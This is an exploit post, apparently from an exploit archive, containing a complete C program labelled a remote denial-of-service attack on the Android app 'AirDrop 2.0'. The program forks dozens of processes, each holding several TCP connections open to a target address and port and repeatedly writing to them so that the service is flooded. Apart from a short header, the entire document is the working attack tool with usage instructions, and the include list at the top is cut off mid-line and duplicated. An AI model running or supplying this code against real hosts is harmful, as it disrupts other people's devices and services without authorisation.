AirDrop 2.0 Denial Of Service

#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <stdint.h>
#include <unistd.h>
#include <netdb.h>
#include <sig #include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <stdint.h>
#include <unistd.h>
#include <netdb.h>
#include <signal.h>
#include <sys/socket.h>
#include <sys/types.h>
#include <netinet/in.h>
#include <arpa/inet.h>

// ************************************************************************
// * Author: Marcelo VA!zquez (aka s4vitar) *
// * AirDrop 2.0 Remote Denial of Service (DoS) *
// ************************************************************************

// Exploit Title: AirDrop 2.0 Remote Denial of Service (DoS)
// Date: 2019-02-21
// Exploit Author: Marcelo VA!zquez (aka s4vitar)
// Vendor Homepage: https://support.apple.com/en-us/HT204144
// Software Link: https://apkpure.com/airdrop-wifi-file-transfer/com.airdrop.airdroid.shareit.xender.filetransfer
// Version: <= AirDrop 2.0
// Tested on: Android

int make_socket(char *host, char *port) {
struct addrinfo hints, *servinfo, *p;
int sock, r;

memset(&hints, 0, sizeof(hints));
hints.ai_family = AF_UNSPEC;
hints.ai_socktype = SOCK_STREAM;
if((r=getaddrinfo(host, port, &hints, &servinfo))!=0) {
fprintf(stderr, "getaddrinfo: %s ", gai_strerror(r));
exit(0);
}
for(p = servinfo; p != NULL; p = p->ai_next) {
if((sock = socket(p->ai_family, p->ai_socktype, p->ai_protocol)) == -1) {
continue;
}
if(connect(sock, p->ai_addr, p->ai_addrlen)==-1) {
close(sock);
continue;
}
break;
}
if(p == NULL) {
if(servinfo)
freeaddrinfo(servinfo);
fprintf(stderr, "No connection could be made ");
exit(0);
}
if(servinfo)
freeaddrinfo(servinfo);
fprintf(stderr, "[Connected -> %s:%s] ", host, port);
return sock;
}

void broke(int s) {
// Nothing to do
}

#define CONNECTIONS 8
#define THREADS 48

void attack(char *host, char *port, int id) {
int sockets[CONNECTIONS];
int x, g=1, r;
for(x=0; x!= CONNECTIONS; x++)
sockets[x]=0;
signal(SIGPIPE, &broke);
while(1) {
for(x=0; x != CONNECTIONS; x++) {
if(sockets[x] == 0)
sockets[x] = make_socket(host, port);
r=write(sockets[x], "", 1);
if(r == -1) {
close(sockets[x]);
sockets[x] = make_socket(host, port);
}
}
usleep(300000);
}
}

int main(int argc, char **argv) {

int x;

if (argc < 3) {
printf("Usage: ./AirDrop_DoS <ip-address> <port> ");
exit(-1);
}

for(x=0; x != THREADS; x++) {
if(fork())
attack(argv[1], argv[2], x);
usleep(200000);
}
getc(stdin);
return 0;
}